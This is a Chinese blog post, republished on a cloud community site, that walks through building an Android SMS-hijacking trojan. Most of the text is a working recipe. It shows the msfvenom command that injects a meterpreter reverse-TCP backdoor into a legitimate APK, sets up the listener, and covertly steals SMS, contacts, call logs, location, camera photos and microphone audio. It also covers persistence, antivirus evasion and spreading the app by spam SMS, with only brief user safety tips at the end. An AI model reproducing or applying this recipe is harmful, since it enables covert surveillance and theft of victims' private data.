专栏首页白安全组从 “ 短信劫持马 ” 来谈APP安全

从 “ 短信劫持马 ” 来谈APP安全

从 “ 短信劫持马 ” 来谈APP安全

这种短信劫持木马的概念和新闻我想大家都应该接触过了,就不怎么说概念了,具体的可以搜一搜新闻,一抓一大把。

复现短信劫持木马的制作

下面我用几种套件来完成短信劫持木马的还原,之前我在本地已经做过试验,所以下面的内容都均摘选自我的笔记。其实用 MSF 也可以做到,但是活的不长久,而且不过杀毒,体积偏小,很明显。 所以我们用一种 “ 寄生 ” 的方式来制作,后面会讲。

生成apk

目前有两种方法可以自动化的往 app 添加 payload,无论哪种生成,其实实现的目的都是一样的,只是 1 方法的作者把第二种方法集成到一键方式,但是本人自己使用过第一种的方式进行,因为各插件版本的原因没有成功,给原作者提供样本之后,原作者叫我自己解决。

遂推荐使用第二种方法:

  1. backdoor-apk。
  2. mterpreter 中自带的 msfvenom。

直接在 kali 的 shell 下执行:

msfvenom --platform android -x facebook_lite.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.114 LPORT=3389 -o facebook_lite_after.apk

执行完上面的命令,meterpreter 一般会对 apk 进行:

1.解包。 2.插入权限。 3.插入 payload 代码。 4.重新打包生成 apk。 5.重新签名并保存的操作。

结果成功:会生成一个 facebook_ lite_after.apk 的应用 结果失败:失败一般会发生在 2,3,4 处,因为有一些 apk 加固或者混淆了,解包之后的代码已经变了样,插入会出现错误,打包也会出现错误。最终导致 apk 不完整,无法生成 apk。

命令解读:

  • platform 指定平台,此处为 android。
  • x 指定使用的样板,可以理解为你要寄生在哪个 app 下面,
  • 此处是寄生在 facebook_lite.apk。
  • p 指定使用的 payload,此处是 android/meterpreter/ reverse_tcp,后面的 LHOST 指定 payload 生效后要反弹的主机 ip,一般为 kali 或者安装了 meterpreter 的 linux 主机,此处 kali 的 ip 为192.168.1.114,LPORT 为端口号。
  • o 指定生成的文件。

注意: msfpayload 和 msfencode 已经在新版本移除,以后只要使用 msfvenom 就行了,msfvenom 的大概使用说明如下:

MsfVenom - a Metasploit standalone payload generator.    Also a replacement for msfpayload and msfencode.    Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>    Options:        -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads            --payload-options            List the payload's standard options        -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all        -n, --nopsled       <length>     Prepend a nopsled of [length] size style="box-sizing: content-box !important; border-radius: 0px !important; background: none rgb(27, 36, 38) !important; border: 0px !important; bottom: auto !important; float: none !important; height: auto !important; left: auto !important; line-height: 1.4em !important; margin: 0px !important; outline: 0px !important; overflow: hidden !important; padding: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important; font-family: Consolas, "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important; font-weight: normal !important; font-style: normal !important; font-size: 12px !important; min-height: auto !important;">        -f, --format        <format>     Output format (use --help-formats for a list)            --help-formats               List available formats        -e, --encoder       <encoder>    The encoder to use        -a, --arch          <arch>       The architecture to use            --platform      <platform>   The platform of the payload        -s, --space         <length>     The maximum size of the resulting payload            --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value)        -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff'        -i, --iterations    <count>      The number of times to encode the payload        -c, --add-code      <path>       Specify an additional win32 shellcode file to include        -x, --template      <path>       Specify a custom executable file to use as a template        -k, --keep                       Preserve the template behavior and inject the payload as a new thread        -o, --out           <path>       Save the payload        -v, --var-name      <name>       Specify a custom variable name to use for certain output formats            --smallest                   Generate the smallest possible payload        -h, --help                       Show this message # 监听

1.kali 的 shell 下执行 :msfconsole。 2.进入 meterpreter 后选择 exploit,执行 :use exploit/multi/handler 。 3.选择 payload,执行 :set payload android/meterpreter /reverse_tcp。 4.设置 payload 的 option,此处先设置 LHOST,执行 : set LHOST 192.168.1.114。 5.设置 LPORT,执行 :set LPORT 3389。 6.开启 exploit 任务,-j 是 job,执行 :exploit -j。

如下:

msf > use exploit/multi/handlermsf exploit(handler) > set payload android/meterpreter/reverse_tcpPAYLOAD => windows/meterpreter/reverse_tcpmsf exploit(handler) > set LHOST 192.168.1.114LHOST => 192.168.1.114msf exploit(handler) > set LPORT 3389LPORT => 3389msf exploit(handler) > exploit -j [*] Started reverse handler style="box-sizing: content-box !important; font-family: Consolas, "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important; font-size: 12px !important; color: rgb(0, 153, 0) !important; word-break: break-word; border-radius: 0px !important; background: none !important; border: 0px !important; bottom: auto !important; float: none !important; height: auto !important; left: auto !important; line-height: 1.4em !important; margin: 0px !important; outline: 0px !important; overflow: hidden !important; padding: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important; font-weight: normal !important; font-style: normal !important; min-height: auto !important;">192.168.1.114:3389[*] Starting the payload handler...

运行后,当用户安装了前面第一步生成 apk,打开软件后,就会在 meterpreter 看到用户上线,这里大概说一下大概操作

大概会看到这样的字眼:

1

[*] Meterpreter session 1 opened (192.168.1.114:3389 -> 119.137.2.209:12398) at 2018-05-06 19:26:13 +0800

1

解读一下大概的意思是有 1 个会话产生了,session 的 id 是 1。

注意: 192.168.1.114:3389 -> 119.137.2.209:12398,这里后面的 119.137.2.209 这个是安装了 apk 的安卓手机的 ip。

需要连接相应的 session,则只需敲 sessions -i 1 就可以连接 id 为 1 的 session。 连接上之后,就可以进行相应的功能操作。

下面整理常用的命令:

  • dump_calllog 通话记录。
  • dump_contacts 通讯录。
  • dump_sms 短信。
  • wlan_geolocate wifi 获取 gps 位置。
  • geolocate 经纬度。
  • sysinfo 系统信息。
  • ipconfig / ifconfig。
  • webcam_snap -i 1 或 2。

不知不觉拍照:

1:后置摄像头。 2:前置摄像头 。

record_mic 录制麦克风,shell 安卓的 adb shell 操作。

更多命令操作,敲 help 默认查看:

短信获取:

通讯录获取:

通话记录获取:

持久化

msf 和其他的应用绑定后,目前可知能进行持久的方法,参考方法如下:

https://www.yeahhub.com/persistent-backdoor-android-using-kali-linux-shell-script/

主要是上传一个在 sdcard / Download 中写入一个 sh 脚本,然后每隔多久就去启动相应包名的 app,但是需要 app 透明化或者需要自定义服务,让 payload 在应用后台服务中进行。

思考: 用 MSF 去做木马,原来的文件和本身寄生后的文件,只有几 kb 的差距,而且原 APP 功能一切正常,以上功能都只需要安装打开就能做到。

手机是不会报毒的,我测试腾讯杀毒,测试了魅族,测试了小米,测试了 vivo,均可通过安装查询的那个检查引擎。

哈勃的文件分析系统:

https://habo.qq.com/file/showdetail?pk=ADIGYV1lB2EIPls9

这个链接是哈勃的文件分析系统,被鉴定为无危害,只是申请了权限。

黑产场景还原

当初测试的场景就是上面这样去寄生一共本身不带壳的程序,然后通过垃圾短信群发这种

另外需要注意APP的来源比如:

1.能在不连接公用网络的情况下就不要连接公用 WIFI。 2.不要随意下载从网站上的 APP,有些 APP 带了点什么你是完全不知道的,尽管提供 APP 下载的站点是某某中心,尽量从官方和应用商店下载。 3.有必要请加装手机杀毒软件。

以上观点个人认为还是比较贴近生活的。。。

本文分享自微信公众号 - 白安全组(bai-1152770445)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-11-14

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • gradle 从3.0.1升级到 3.4.0 所解决的各种问题

    升级到3.4.0后如果里面有android.enableAapt2=false会报错,去掉即可

    Jingbin
  • Spring MVC组件

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 ...

    多凡
  • 薅羊毛 | Python 自动化带你轻松赚钱(完结版)

    最近,有一个朋友告诉我,她在某平台上购买了一部手机,收到货之后发现商品质量挺好的,价格也不贵。

    叫我龙总
  • 由恶意GIF文件引发的RCE漏洞,超过40000个应用受影响

    本月初,新加坡安全研究员@Awakened披露了关于WhatsApp(2.19.244之前版本)存在的RCE漏洞(CVE-2019-11932)利用的文章,该漏...

    FB客服
  • 官宣:腾讯WeTest明星工具-PerfDog面向全球发布!

    ? 导读   PerfDog(官网:perfdog.qq.com)作为移动全平台性能测试分析专业工具,在腾讯内部研发测试工具商店-WeTest Store上...

    WeTest质量开放平台团队
  • Android | UDP的C/S通信实战案例(简易聊天室)

    凌川江雪
  • 使用 Kotlin 构建 Android 应用 | Kotlin 迁移指南 (上篇)

    今年五月份的 Google I/O 上,我们正式向全球宣布 Kotlin-first 的这一重要理念,Kotlin 将成为 Android 开发者的首选语言。接...

    Android 开发者
  • Flutter实战 | 从 0 搭建「网易云音乐」APP(六、歌词(一))

    本系列可能会伴随大家很长时间,这里我会从0开始搭建一个「网易云音乐」的APP出来。

    Flutter笔记
  • 干货 | TVM:Deep Learning模型的优化编译器(强烈推荐, 附踩坑记录)

    作者知乎网址:https://www.zhihu.com/people/ming-zi-zong-shi-hen-nan-qi/activities

    AI科技评论
  • es入门

    ****注意事项-------使用ealsticsearch要配置java的开发环境JDK(1.8以上) -------------------------...

    用户2337871

扫码关注云+社区

领取腾讯云代金券